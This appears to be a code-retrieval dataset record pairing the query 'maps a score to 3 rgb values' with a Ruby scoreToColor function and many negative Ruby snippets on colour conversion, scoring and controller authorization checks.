"def check_user_before_membership\n if current_user\n ncm_membership = current_user.get_membership(@mother)\n epicenter = Epicenter.find_by_slug(params['epicenter_id'])\n\n if epicenter != @mother and not ncm_membership\n session[:new_ncm_membership] = { \n :epicenter_id => params['epicenter_id'], \n :membership_id => params['membership_id'],\n :t => Time.now\n }\n #\n redirect_to new_epicenter_subscription_path(@mother)\n end\n else\n # it's possible that we can put the logic from \"authenticate\" method below here\n redirect_to epicenters_path\n end\n end",
"def user_permission(signed_in, admin, paid, cancelled)\n\tif paid == \"no\" or cancelled == \"yes\"\n\t\tputs (\"Go away!\")\n\n\telsif signed_in == \"yes\" and admin == \"yes\"\n\t\tputs (\"You can see and change all the pages\")\n\n\telsif signed_in == \"yes\" and admin == \"no\"\n\t\tputs (\"You can see all the pages\")\n\n\telsif signed_in == \"no\"\n\t\tputs (\"You can't see any of the pages, please sign in\")\n\n\telse \n\t\tputs (\"Thanks, have a good night.\")\n\n\tend\nend",
"def check_adroll_on_other_pages(params, start_page)\n $tracer.trace(\"GameStopAnalyticsFunctions: #{__method__}, Line: #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n if params[\"login\"] == \"\" and params[\"password\"] == \"\"\n open(\"#{start_page}/Profiles/OrderTrackingLogin.aspx\")\n order_lookup_email.value = \"robertsantos@gamestop.com\"\n order_lookup_confirmation_number.value = \"4131015095782760\"\n order_lookup_button.click\n wait_for_landing_page_load\n validate_cookies_and_tags(params)\n else\n open(\"#{start_page}/Profiles/MyAccount.aspx\")\n wait_for_landing_page_load\n validate_cookies_and_tags(params)\n\n open(\"#{start_page}/Orders/OrderHistory.aspx\")\n wait_for_landing_page_load\n validate_cookies_and_tags(params)\n\n open(\"#{start_page}/ps3\")\n wait_for_landing_page_load\n validate_cookies_and_tags(params)\n\n search_button.click\n wait_for_landing_page_load\n validate_cookies_and_tags(params)\n end\n end",
"def run_actions; end",
"def valid_user\n # unless (@user && @user.activated? && @user.authenticated?(:reset, params[:id])) \n unless(@user && @user.activated?)\n redirect_to root_url\n end\n end",
"def use_oauth\n\t\t\t\n\t\tend",
"def define_eccept\n if current_user.info.id==@resource.id || can_manage_has_one(current_user.info, @resource, @model)\n return true\n else\n redirect_to root_path \n end\n end",
"def check_authorization\r\n params[:table] ||= params[:t] || CmsHelper.form_param(params)\r\n # Only show menu\r\n return login if params[:id].in?(%w(login logout test))\r\n\r\n table = params[:table].to_s.strip.downcase\r\n set_default_guest_user_role if session[:user_roles].nil?\r\n # request shouldn't pass\r\n if table != 'dc_memory' and \r\n (table.size < 3 or !dc_user_can(DcPermission::CAN_VIEW))\r\n return render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end\r\n dc_form_read\r\n\r\n # Permissions can be also defined on form\r\n #TODO So far only can_view is used. Think about if using other permissions has sense\r\n can_view = @form.dig('permissions','can_view')\r\n if can_view.nil? or dc_user_has_role(can_view)\r\n extend_with_control_module\r\n else\r\n render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end \r\nend",
"def index\n # The hook below can access controller's instance variables.\n if current_user\n if current_user.role?:livia_admin\n redirect_to companies_url\n elsif is_secretary_or_team_manager?\n redirect_to \"/wfm/notes\"\n elsif current_user.end_user\n redirect_to physical_clientservices_home_index_path\n elsif is_client\n redirect_to matter_clients_url\n elsif current_user.role?:lawfirm_admin\n redirect_to lawfirm_admins_url\n return\n end\n else\n flash[:error] = t(:flash_DB_error)\n redirect_to login_url\n end\n end",
"def user_permission(singed_in, admin, paid, cancelled)\n\tif paid == \"no\" or cancelled == \"yes\"\n\t\tputs(\"go away\")\n\telsif signed_in == \"yes\" and admin == \"yes\"\n\t\tputs(\"You can see and change all the pages!\")\t\n\telsif signed_in == \"yes\" and admin == \"no\"\n\t\tputs(\"You can see all the pages!\")\n\telsif singed_in == \"no\" and admin == \"no\"\t\n\t\tputs(\"You can't see any of the pages, please sign in!\")\nend\nend",
"def require_login\n end",
"def activate\n if @user.inactive? && @user.created_by_admin?\n if @user.is_regular? && @user.profile.penultimate_step_complete?\n @user.activate!\n @user.save_profinda_profile\n render json: { status: 'active' }\n elsif @user.is_external? && @user.profile.first_step_completed?\n @user.activate!\n render json: { status: 'active' }\n else\n render json: { status: 'user can\\'t be activate' }\n end\n else\n render json: { status: 'user is active' }\n end\n end",
"def may_edit_pages(user)\n true\n end",
"def first_stage_info\n stripe = StripeCustom.new(params[:user])\n\n if stripe.met_verification\n account = Account.new(current_user.stripe_id)\n first_stage = account.update_first_stage_info( stripe, current_user )\n redirect_to second_stage_info_path\n else\n @agreement_accepted = true\n flash[:error] = \"Please provide all the details\"\n render :index\n end\n end",
"def can_begin\n redirect_to virtualtests_path if @no_new_submissions\n if current_user.sk.test_status(@virtualtest) != \"not_started\"\n redirect_to virtualtests_path\n elsif Takentest.where(:user => current_user.sk, :status => :in_progress).count > 0\n flash[:danger] = \"Vous avez déjà un test virtuel en cours !\"\n redirect_to virtualtests_path\n end\n end",
"def active_for_authentication? \n super && approved? \n end",
"def check_authorization\r\n params[:table] ||= params[:formname]\r\n# Just show menu\r\n# return show if params[:action] == 'show'\r\n return login if params[:id].in?(%w(login logout))\r\n# request shouldn't pass\r\n if session[:user_roles].nil? or params[:table].to_s.strip.downcase.size < 3 or \r\n !dc_user_can(DcPermission::CAN_VIEW)\r\n return render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end\r\n\r\n read_drg_cms_form\r\n# Permissions can be also defined on form\r\n#TODO So far only can_view is used. Think about if using other permissions has sense\r\n if @form['permissions'].nil? or @form['permissions']['can_view'].nil? or\r\n dc_user_has_role(@form['permissions']['can_view'])\r\n# Extend class with methods defined in drgcms_controls module. May include embedded forms therefor ; => _ \r\n controls_string = (@form['controls'] ? @form['controls'] : params[:table].gsub(';','_')) + '_control'\r\n controls = \"DrgcmsControls::#{controls_string.classify}\".constantize rescue nil\r\n# version next\r\n if controls.nil?\r\n controls_string = \"#{@form['controls'] || params[:table].gsub(';','_')}_control\"\r\n controls = \"#{controls_string.classify}\".constantize rescue nil\r\n end\r\n extend controls if controls \r\n else\r\n render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end \r\nend",
"def initializeApprovalAndLDAP(emailConf, prod)\n @ldap = ldap_storage\n ApprovalEngine.init(@ldap, nil, !prod)\nend",
"def current_npo\n if current_admin\n true\n elsif npo && current_user.id == params[:account_id].to_i\n true\n else\n flash[:error] = 'You are not authorized to view this page'\n redirect_to root_url\n end\n end",
"def index\n if(current_user.company && (current_user.check_payment_status? == true || (current_user.check_payment_status? == false && current_user.company.membership.is_trial_period_allowed?)))\n load_instances\n if current_user.check_payment_status? == false\n current_user.company.payments.create({:company_id => @company.id, :status => Payment::STATUS[:success], :vendor => \"Free Trial Period\", :amount => 0})\n flash[:notice] = \"Your brand #{current_user.company.name} for which payment is pending is upgraded to free trail period of 30-days\"\n end\n elsif current_user.company && current_user.check_payment_status? == false\n @no_post_panel = true\n redirect_to payment_options_users_path(:membership_id => current_user.company.membership_id, :user_id => current_user.id, :from_company => true)\n else\n render :partial => \"shared/company/business_plan\", :layout => \"application\"\n end\n end",
"def workflow\n end",
"def provider_edit\n \n # Only admin may edit sms providers. Checking for direct-link attempts \n if !current_user.is_admin? \n dont_be_so_smart \n redirect_to :controller=>:callc, :action => :main and return false \n end\n\n @page_title = _('Sms_providers_edit')\n @page_icon = \"edit.png\"\n @tariffs = current_user.sms_provider_tariffs\n @api_string = @provider.login.to_s\n @api_keywords = @provider.email_good_keywords\n\n end",
"def approval\n @minimal_ui = true\n render :approval\n end"
] |
[
"0.6225528",
"0.6057875",
"0.5864551",
"0.58299154",
"0.5822494",
"0.5768441",
"0.5658114",
"0.56534255",
"0.5616913",
"0.55861026",
"0.55698866",
"0.5566668",
"0.55569875",
"0.55569875",
"0.5521171",
"0.55193704",
"0.55150986",
"0.5505747",
"0.5502263",
"0.5471804",
"0.54603815",
"0.5453133",
"0.54471296",
"0.5445671",
"0.5444713",
"0.54407865",
"0.54393065",
"0.5439222",
"0.5439222",
"0.5429916",
"0.54292256",
"0.5424868",
"0.541353",
"0.5405583",
"0.5403371",
"0.539726",
"0.53848165",
"0.53837514",
"0.5375523",
"0.5368183",
"0.5367073",
"0.5366366",
"0.5364944",
"0.5359366",
"0.5359302",
"0.5355203",
"0.5353243",
"0.53312147",
"0.5322944",
"0.53224033",
"0.53213596",
"0.53173065",
"0.53148973",
"0.5314276",
"0.53136706",
"0.53117496",
"0.5309257",
"0.5308209",
"0.5308125",
"0.52958894",
"0.5295392",
"0.52946067",
"0.5287544",
"0.52865946",
"0.52853245",
"0.5280331",
"0.5277697",
"0.5275799",
"0.5270506",
"0.5270385",
"0.52590346",
"0.52587473",
"0.5256543",
"0.52542615",
"0.5244825",
"0.52414435",
"0.5240352",
"0.52401197",
"0.5234581",
"0.5232829",
"0.5228439",
"0.522236",
"0.52201927",
"0.5219373",
"0.5218565",
"0.52140325",
"0.5212896",
"0.52115667",
"0.5210928",
"0.5207968",
"0.5207847",
"0.5201663",
"0.51984084",
"0.519819",
"0.519688",
"0.5192927",
"0.5189735",
"0.5187558",
"0.5184789",
"0.518409",
"0.518372"
] |
0.0
|
-1
|
maps a score to 3 rgb values
|
def scoreToColor(score, minVal, maxVal)
maxColor = 230.0
minColor = 10.0
norm = (((score.to_f - minVal ) / (maxVal - minVal ) ) * (maxColor - minColor)) + minColor
norm = [maxColor, norm].min
return [minColor, norm, norm]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_3f; return [red, green, blue].map {|i| i / 255.0}; end",
"def scores\n {\n 'a' => 1, 'e' => 1, 'i' => 1, 'o' => 1,\n 'u' => 1, 'l' => 1, 'n' => 1, 'r' => 1,\n 's' => 1, 't' => 1, 'd' => 2, 'g' => 2,\n 'b' => 3, 'c' => 3, 'm' => 3, 'p' => 3,\n 'f' => 4, 'h' => 4, 'v' => 4, 'w' => 4,\n 'y' => 4, 'k' => 5, 'j' => 8, 'x' => 8,\n 'q' => 10, 'z' => 10\n }\nend",
"def get_color_from_score(score, lod_score, use_dprime)\n color = 'white'\n if use_dprime then\n if lod_score > 2\n if score < 0.5\n # high LOD, low D'\n color = \"rgb(255,224,244)\"\n else\n # high LOD, high D' => shades of red\n blue_green = (255-32)*2*(1-score)\n color = sprintf(\"rgb(255, %d, %d)\", blue_green, blue_green)\n end\n elsif(score > 0.99)\n #high LD, low LOD blueish color\n color = \"rgb(192,192,240)\"\n else\n color = 'white'\n end\n else # use rsquared\n red_blue_green = 255 * (1.0 - score)\n color = sprintf(\"rgb(%d,%d,%d)\", red_blue_green, red_blue_green, red_blue_green)\n end\n return color\n end",
"def guage(n) \n r = (255 * n) / 100\n g = (255 * (100 - n)) / 100 \n b = 0\n return { :r => r, :g => g, :b => b }\nend",
"def color_codes\n {\n :black => 0, :light_black => 60,\n :red => 1, :light_red => 61,\n :green => 2, :light_green => 62,\n :yellow => 3, :light_yellow => 63,\n :blue => 4, :light_blue => 64,\n :magenta => 5, :light_magenta => 65,\n :cyan => 6, :light_cyan => 66,\n :white => 7, :light_white => 67,\n :default => 9\n }\n end",
"def visionColors\n @colors = @json[\"responses\"][0][\"imagePropertiesAnnotation\"][\"dominantColors\"][\"colors\"]\n @color_rgb = []\n @color_scores = []\n\n @colors.each do |color|\n @color_rgb << color[\"color\"]\n @color_scores << color[\"score\"] * 100\n end\n\n # Find aggregare value of color scores and stretch to 100 if necessary\n color_percent = 0\n @color_scores.each { |a| color_percent+=a }\n if color_percent < 100 \n percent_diff = (100 - color_percent)\n @color_scores.map do |score|\n score = (score + (percent_diff/10))\n end\n end\n end",
"def color_map\n {\n 'high_risk_ice_check_in' => '#800080',\n 'friend_in_detention' => '#e83737',\n }\n end",
"def rgb(r, g, b)\n \"%.2X%.2X%.2X\" % [r,g,b].map{|i| [[i,255].min,0].max}\nend",
"def hash\n [ max_cfvo , max_color , mid_cfvo , mid_color , min_cfvo , min_color ].hash\n end",
"def rgb_color; end",
"def rgbForSeconds(s)\n case s\n when 1..10\n return {r: 229, g: 0, b: 0}\n when 11..20\n return {r: 229, g: 149, b: 0}\n when 21..30\n return {r: 229, g: 217, b: 0}\n when 31..40\n return {r: 2, g: 190, b: 1}\n when 41..50\n return {r: 0, g: 50, b: 199}\n when 51..60\n return {r: 130, g: 0, b: 128}\n else\n return {r: 255, g: 255, b: 255}\n end\nend",
"def get_green_to_red_scala n\n colors = []\n r = 0; g = 150; b = 0\n max = 255\n\n #se empieza en un g oscuro en 150 y se aclarece añadiendo g hasta 255\n #ni = numero iteraciones\n ni = (1*n/3)\n for i in 1..(1*n/3.to_f).floor\n g = 150 + (i*(max - 150)/ni.to_f).floor\n colors << rgb(r, g, b)\n end\n\n #una vez g esta en 255 se añade r desde 150 hasta 255 hasta llegar a amarillo\n #ni = numero iteraciones\n g = 255\n ni = 1 + (2*n/3.to_f).floor - (1*n/3.to_f).ceil\n for j in (1*n/3.to_f).ceil..(2*n/3.to_f).floor\n i = j - (1*n/3.to_f).ceil + 1\n r = 150 + (i*(max - 150)/ni.to_f).floor\n colors << rgb(r, g, b)\n end\n\n #una vez g y r estan en 255 se quita g hasta 0 hasta llegar a rojo\n #ni = numero iteraciones\n g = r = 255\n ni = 1 + n - (2*n/3.to_f).ceil\n for i in (2*n/3.to_f).ceil..n\n g = ((n - i)*(max/ni.to_f)).floor\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de verde a rojo\n colors\n end",
"def aqi_range_colors\n { 0..50 => :green,\n 51..100 => :yellow,\n 101..150 => :orange,\n 151..200 => :red,\n 201..300 => :purple,\n 301..999 => :pink }\n end",
"def color_matches(loc=@counter)\n code = get_code_remainder(loc)\n guess = get_guess_remainder(loc)\n x = 0\n y = 0\n index = 0\n totalmatches = 0\n matches = 0\n guess.each{|g|\n code.each{ |c| \n if c == g && matches == 0\n matches += 1\n guess[x] = 0\n code[y] = 5\n end\n y += 1\n }\n y = 0\n totalmatches += 1 if matches > 0\n matches = 0\n x += 1\n }\n totalmatches\n end",
"def colors_from_hash(match, hash); end",
"def grayscale(c)\n (c[0]*0.3 + c[1]*0.59 + c[2]*0.11).to_i\n end",
"def color_from_prob(p)\n # want 100% to be green 0,255,0\n # want 0% to be red 255,0,0\n rgb = [255 * (1-p),255 * p, 0]\n hex = rgb.map{|i| sprintf(\"%02x\", i).upcase}.join\n return hex\nend",
"def color_matches(code, guess)\n colormatches = 0\n guess.each{ |num| colormatches += 1 if code.any?{|x| x == num} }\n colormatches\n end",
"def rgb(r, g, b) \n [r, g, b].map do |i|\n i = 0 if i.negative?\n i = 255 if i > 255\n i.to_s(16).rjust(2, \"0\")\n end.join.upcase\nend",
"def rgb_value(red, green, blue)\n [16, *[red, green, blue].zip([36, 6, 1]).map{ |color, mod|\n (6 * (color.to_f / 256)).to_i * mod\n }].inject(:+) \n end",
"def convert_code\n @code.map{ |num| translate_num_to_color(num) }\n end",
"def get_red_scala n\n colors = []\n r = 255; g = 0; b = 0\n max = 255\n\n # se inicia la escala con el r mas fuerte y se añade g y b por igual cantidad hasta llegar al blanco\n for i in 1..n\n g = b = (i*(max/n)).round\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de blanco a rojo\n colors.reverse\n end",
"def colour_map(uri)\n namespace = fetch_namespace(uri)\n if(!@colour_map.has_key?(namespace))\n color = \"#\"+\"%06x\" % (rand * 0xffffff)\n @colour_map.store(namespace,color)\n else\n color = @colour_map.fetch(namespace)\n end\n return color\n end",
"def rgb_color\n [self.color_red, self.color_green, self.color_blue]\n end",
"def rgb_color( a, b, i, x)\n return nil if i <= 1 or x <= 1\n return a - ( Math.log(i) * ( a - b ) / Math.log(x) ).floor if a > b\n ( Math.log(i) * ( b - a ) / Math.log(x) + a ).floor\n end",
"def rgb_avg(color_ary)\n\t\tgood_neighs = color_ary.reject{|n| little_blue?(n) }\n\t\tgood_neighs.transpose.map{|cs| cs.inject(0,:+)/(good_neighs.count)}\n\tend",
"def rgb_avg(color_ary)\n\t\tgood_neighs = color_ary.reject{|n| little_green?(n) }\n\t\tgood_neighs.transpose.map{|cs| cs.inject(0,:+)/(good_neighs.count)}\n\tend",
"def to_rgb\n x,y,z = lab_to_xyz(@l,@a,@b)\n r,g,b = xyz_to_rgb(x,y,z)\n end",
"def translate_num_to_color(num)\n case num\n when 1\n \"black\"\n when 2\n \"white\"\n when 3\n \"red\"\n when 4\n \"green\"\n end\n end",
"def constrain_to_colors(array)\n array[0] > 255 ? array[0] = 255 : array[0] < 0 ? array[0] = 0 : array[0]\n array[1] > 255 ? array[1] = 255 : array[1] < 0 ? array[1] = 0 : array[1]\n array[2] > 255 ? array[2] = 255 : array[2] < 0 ? array[2] = 0 : array[2]\n return array\n end",
"def a(val=nil)\n if not val\n return self[3]\n else\n return Color[ self.r, self.g, self.b, val ]\n end\n end",
"def get_color_code\n\t\t{ r: @term_hex[0], g: @term_hex[1], b: @term_hex[2], alpha: @term_hex[-1] }\n\tend",
"def letter_scores\n { \"A\"=>1, \"B\"=>3, \"C\"=>3, \"D\"=>2,\n \"E\"=>1, \"F\"=>4, \"G\"=>2, \"H\"=>4,\n \"I\"=>1, \"J\"=>8, \"K\"=>5, \"L\"=>1,\n \"M\"=>3, \"N\"=>1, \"O\"=>1, \"P\"=>3,\n \"Q\"=>10, \"R\"=>1, \"S\"=>1, \"T\"=>1,\n \"U\"=>1, \"V\"=>4, \"W\"=>4, \"X\"=>8,\n \"Y\"=>4, \"Z\"=>10\n }\n end",
"def scoreRock m\n\t\t[0,1] \n\tend",
"def rgb\n value = if successes < current\n 0\n else\n (255.0 * (@current.to_f / (successes.to_f + 1.0))).round\n end\n red = (255 - value).to_s(16).ljust(2, \"0\")\n green = value.to_s(16).rjust(2, \"0\")\n blue = 0.to_s(16).rjust(2, \"0\")\n \"\" << red << green << blue\n end",
"def color\n case (@code.to_i / 100)\n when 2\n color = :green\n when 3\n color = :yellow\n when 4, 5\n color = :red\n else\n color = :blue\n end\n color\n end",
"def hash\n [background_pattern_color, foreground_pattern_color, texture].hash\n end",
"def scoreRock m\n\t\t[1,0]\n\tend",
"def values\n [@red, @green, @blue]\n end",
"def set_colour(r,g,b)\n\t\t@colour_r = LoopedArray.new [*r].map {|i| i % 256}\n\t\t@colour_g = LoopedArray.new [*g].map {|i| i % 256}\n\t\t@colour_b = LoopedArray.new [*b].map {|i| i % 256}\n\tend",
"def scores\n @raw.map(&:score)\n end",
"def assign_game_color count\n case count\n when 0\n return \"transparent\"\n when 6\n return $app_red\n else\n return $app_blue\n end\n end",
"def rgb\n generate.collect do |color|\n color.collect(&:to_i)\n end\n end",
"def rgb(*args); end",
"def rgb(*args); end",
"def scorePaper m\n\t\t[1,0] \n\tend",
"def shades_of_green value\n #Bunch of shades\n shades = %w( 00FF00 00F800 00F000 00E800 00E000 00D800 00D000 00C800 00C000 00B800 00B000 00A800 00A000 009800 009000 008800 008000 007800 007000 006800 006000 005800 005000 004800 004000 003800 003000 002800 002000 )\n\n #Fewer of shades\n #shades = %w( 00FF00 00D800 00B000 008800 006000 003800 )\n\n #scale the 'value' to an index in the array and display the color\n #the min/max ensure the value is within the range\n index = [ [shades.length * value / 100, 0].max, shades.length - 1].min\n return shades[index]\n end",
"def scoreRock m\n\t\t[0,0]\n\tend",
"def luminance(red, green, blue)\n components = [red, green, blue].map do |c|\n value = c / 255.0\n value <= 0.03928 ? value / 12.92 : ((value + 0.055) / 1.055)**2.4\n end\n\n 0.2126 * components[0] + 0.7152 * components[1] + 0.0722 * components[2]\n end",
"def hue_to_rgb(p, q, t)\n t += 1 if t.negative?\n t -= 1 if t > 1\n\n return p + (q - p) * 6 * t if t < 1.0 / 6.0\n return q if t < 1.0 / 2.0\n return p + (q - p) * (2 / 3 - t) * 6 if t < 2.0 / 3.0\n\n p\n end",
"def rgb_value(red, green, blue)\n gray_possible = true\n sep = 42.5\n\n while gray_possible\n if red < sep || green < sep || blue < sep\n gray = red < sep && green < sep && blue < sep\n gray_possible = false\n end\n sep += 42.5\n end\n\n if gray\n \";5;#{ 232 + ((red.to_f + green.to_f + blue.to_f)/33).round }\"\n else # rgb\n \";5;#{ [16, *[red, green, blue].zip([36, 6, 1]).map{ |color, mod|\n (6 * (color.to_f / 256)).to_i * mod\n }].inject(:+) }\"\n end\n end",
"def score\n\t@score = 0\n\tself.to_array.each do |character|\n\t\t@score += TILE_VALUES[character]\n end\n\t@score\n end",
"def to_rgb\n middle = @rgb.to_a[0..2].map(&:round).join(', ')\n\n with_alpha(:rgb, middle)\n end",
"def count_correct_colors\r\n total_correct_color_count = Hash.new(0)\r\n guess.length.times do |i|\r\n total_correct_color_count[guess[i]] += 1 if total_correct_color_count[guess[i]] < code_count[guess[i]]\r\n end\r\n total_correct_sum = 0\r\n total_correct_color_count.each { |k,v| total_correct_sum += v }\r\n total_correct_sum\r\n end",
"def getColor(colorname)\n# @color = { \"white\" => assignColor256(\"white\",255,255,255),\n# \"black\" => assignColor256(\"black\",0,0,0),\n# \"orange\" => assignColor256(\"orange\",255,0,0),\n# \"red\" => assignColor256(\"red\",0,255,0),\n# \"blue\" => assignColor256(\"blue\",0,0,255),\n# \"grey\" => assignColor256(\"grey\",120,120,120),\n# } ;\n col = @color[colorname] ;\n if(col.nil?) then\n f = File::new(RGBFILE) ;\n rval = -1 ; gval = -1 ; bval = -1 ;\n while(entry = f.gets)\n\tentry.strip! ;\n\trstr,gstr,bstr,name = entry.split ;\n\tif(name == colorname) then\n\t rval = rstr.to_i * 256 ;\n\t gval = gstr.to_i * 256 ;\n\t bval = bstr.to_i * 256 ;\n\t break ;\n\tend\n end\n if(rval < 0) then\n\tif(colorname =~ /^\\#([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])$/) then\n\t rstr = $1 ; gstr = $2 ; bstr = $3 ;\n\t rval = rstr.hex * 256 ; \n\t gval = gstr.hex * 256 ; \n\t bval = bstr.hex * 256 ; \n\telse\n\t $stderr << \"unknown color name:\" << colorname << \"\\n\" ;\n\tend\n end\n col = assignColor(colorname,rval,gval,bval) ;\n end\n return col ;\n end",
"def score\n #Here are the letter values. Think about how you might put this data in a usable format for your methods above.\n scores = {a: 1, b: 3, c: 3, d: 2, e: 1,\n f: 4, g: 2, h: 4, i: 1, j: 8,\n k: 5, l: 1, m: 3, n: 1, o: 1,\n p: 3, q: 10, r: 1, s: 1, t: 1,\n u: 1, v: 4, w: 4, x: 8, y: 4,\n z: 10}\n\n# Need to use @word with something to get the value of the letters combined \n\n\n return score\n end",
"def rgb(r, g, b)\n [r, g, b].map do |c|\n if c <= 0 \n \"00\"\n elsif c > 255\n \"FF\"\n else\n c.to_s(16).upcase \n end\n end.join('')\nend",
"def give_hint (guess, code)\n #red_orb => right color, position\n #white_orb => right color, wrong position\n red_orb = 0\n white_orb = 0\n\n code.each_with_index do |color, index|\n if (guess[index] == color)\n red_orb += 1\n elsif (guess.include?(color))\n white_orb += 1\n end\n end\n\n return [red_orb,white_orb]\n end",
"def score\n @score = [straight_flush, four_of_a_kind, full_house, flush, straight, three_of_a_kind, two_pair, one_pair, high_card]\n end",
"def hsv2rgb(data)\n array = data.map { |e| Float(e) }\n h = array[0] * 360\n s = array[1]\n v = array[2]\n if h == 360.0\n h = 0.0\n else\n h /= 60.0\n end\n fract = h - h.floor();\n p = v*(1.0 - s);\n q = v*(1.0 - s*fract);\n t = v*(1.0 - s*(1.0 - fract));\n\n if (0.0 <= h && h < 1.0)\n array[0] = v\n array[1] = t\n array[2] = p\n elsif (1.0 <= h && h < 2.0)\n array[0] = q\n array[1] = v\n array[2] = p\n elsif (2.0 <= h && h < 3.0)\n array[0] = p\n array[1] = v\n array[2] = t\n elsif (3.0 <= h && h < 4.0)\n array[0] = p\n array[1] = q\n array[2] = v\n elsif (4.0 <= h && h < 5.0)\n array[0] = t\n array[1] = p\n array[2] = v\n elsif (5.0 <= h && h < 6.0)\n array[0] = v\n array[1] = p\n array[2] = q\n else\n array[0] = 0\n array[1] = 0\n array[2] = 0\n end\n return array.map { |e| Integer(255*e) }\nend",
"def intensity(c,i)\n [c[0],c[1],c[2],(c[3]*i) >> 8]\n end",
"def luminosity\n Integer(0.2126*@red + 0.7152*@green + 0.0722*@blue)\n end",
"def scorePaper m\n\t\t[0,1]\n\tend",
"def drawScore(s)\n attron(color_pair(6))\n setpos(12,0)\n addstr(\"Score: #{s}\")\n setpos(0,0)\nend",
"def score3\r\n score1ot\r\n end",
"def get_rain_intensity_range_colors\n { 0..0.0050 => :blue,\n 0.0051..0.0100 => :purple,\n 0.0101..0.0130 => :teal,\n 0.0131..0.0170 => :green,\n 0.0171..0.0220 => :lime,\n 0.0221..0.0280 => :aqua,\n 0.0281..0.0330 => :yellow,\n 0.0331..0.0380 => :orange,\n 0.0381..0.0430 => :red,\n 0.0431..5 => :pink\n }\n end",
"def red\n colorize(31)\n end",
"def rgb_value(red, green, blue)\n gray_possible = true\n sep = 42.5\n\n while gray_possible\n if red < sep || green < sep || blue < sep\n gray = red < sep && green < sep && blue < sep\n gray_possible = false\n end\n sep += 42.5\n end\n\n if gray\n \";5;#{ 232 + ((red.to_f + green.to_f + blue.to_f)/33).round }\"\n else # rgb\n \";5;#{ [16, *[red, green, blue].zip([36, 6, 1]).map{ |color, mod|\n (6 * (color.to_f / 256)).to_i * mod\n }].inject(:+) }\"\n end\n end",
"def hls_to_rgb h, l, s\n s /= 100.0\n l /= 100.0\n c = (1 - (l * 2 - 1).abs) * s\n x = c * (1 - ((h / 60.0) % 2 - 1).abs)\n m = l - c / 2\n r, g, b = case\n when h < 60 then [c, x, 0]\n when h < 120 then [x, c, 0]\n when h < 180 then [0, c, x]\n when h < 240 then [0, x, c]\n when h < 300 then [x, 0, c]\n else [c, 0, x]\n end\n [r, g, b].map{|channel| ((channel + m) * 255).ceil }\nend",
"def color_code(val)\n if val.is_a? String\n code = val\n val = code.hex\n val = -1 if val == 0 && code != '00'\n elsif val.is_a? Fixnum\n code = val\n val = val.to_i\n code = '%02x' % val\n else\n return nil\n end\n\n if (0..255).cover? val\n code\n else\n nil\n end\n end",
"def quad_colours(tile_x, tile_y)\n [:top, :left, :bottom, :right].map do |side|\n average_color(triangle_pixels(tile_x, tile_y, side))\n end\n end",
"def red\n (rgba & 0xFF0000) >> 16\n end",
"def score_p1(game)\n oc, mc = game[0], game[1]\n r = (mc - oc + 1) % 3\n return 3 * r + mc + 1\nend",
"def get_rain_range_colors\n { 0..0.10 => :blue,\n 0.11..0.20 => :purple,\n 0.21..0.30 => :teal,\n 0.31..0.40 => :green,\n 0.41..0.50 => :lime,\n 0.51..0.60 => :aqua,\n 0.61..0.70 => :yellow,\n 0.71..0.80 => :orange,\n 0.81..0.90 => :red,\n 0.91..1 => :pink\n }\n end",
"def get_rgb_point(hue, chroma, x)\n case hue\n when 0...1 then [chroma, x, 0]\n when 1...2 then [x, chroma, 0]\n when 2...3 then [0, chroma, x]\n when 3...4 then [0, x, chroma]\n when 4...5 then [x, 0, chroma]\n when 5...6 then [chroma, 0, x]\n # HUE will never leave the 0..359 range because we use (hue % 360)\n # else [0, 0, 0]\n end\n end",
"def getColor(c)\n if c == \"r\" then return :red\n elsif c == \"b\" then return :blue\n elsif c == \"g\" then return :green\n elsif c == \"y\" then return :yellow\n elsif c == \"c\" then return :cyan\n elsif c == \"m\" then return :magenta\n end\nend",
"def interpret(num) \n case num\n when 0\n \"red\"\n when 1\n \"blue\"\n when 2\n \"green\"\n when 3\n \"yellow\"\n when 4\n \"black\"\n when 5\n \"white\" \n end\n end",
"def to_array\n\t\t\tm_color = self.color.delete(' ')\n\t\t\tm_color.delete!('hsl(')\n\t\t\tm_color.delete!(')')\n\n\t\t\tm_color = m_color.split(',')\n\t\t\tm_color[0] = m_color[0].to_i \n\t\t\tm_color[1] = m_color[1].to_f / 100 \n\t\t\tm_color[2] = m_color[2].to_f / 100\n\t\t\tm_color \n\t\tend",
"def color_counts\n color_counts = Hash.new(0)\n @pegs.each do |color|\n color_counts[color] += 1\n end\n color_counts\n end",
"def smooth_colour(s1, s2, s3)\n v = smooth_vector(s1, s2, s3)\n color(v.x, v.y, v.z)\nend",
"def score\n @scores[ result.key ]\n end",
"def rgb_code(red, green, blue, background = T.unsafe(nil)); end",
"def rgb_code(red, green, blue, background = T.unsafe(nil)); end",
"def rgb\n h = self.h\n s = self.s\n l = self.l\n # Some simple corrections for h, s and l. */\n h = h % 360\n h += 360 if (h < 0)\n s = [0, [s, 1].min].max\n l = [0, [l, 1].min].max\n \n # From FvD 13.37, CSS Color Module Level 3 \n m2 = (l <= 0.5) ? (l * (1 + s)) : (l + s - l * s)\n m1 = 2 * l - m2\n v=lambda {|h1|\n if (h1 > 360)\n h1 -= 360\n elsif (h1 < 0)\n h1 += 360\n end\n \n \n return m1 + (m2 - m1) * h1 / 60.0 if (h1 < 60.0)\n return m2 if (h1 < 180.0) \n return m1 + (m2 - m1) * (240.0 - h1) / 60.0 if (h1 < 240.0)\n return m1\n }\n \n vv=lambda {|h1| (v.call(h1) * 255).round}\n Rubyvis.rgb(vv.call(h + 120), vv.call(h), vv.call(h - 120), a)\n \n end",
"def hue_to_rgb(m1, m2, h)\n h += 1 if h < 0\n h -= 1 if h > 1\n return m1 + (m2 - m1) * h * 6 if h * 6 < 1\n return m2 if h * 2 < 1\n return m1 + (m2 - m1) * (2.0/3 - h) * 6 if h * 3 < 2\n return m1\n end",
"def determine_color\n colors = {'Red' => 0, 'Green' => 0, 'Yellow' => 0, 'Blue' => 0}\n @hand.each do |card|\n colors[card.suit] += 1\n end\n return colors.key(colors.values.max)\n end",
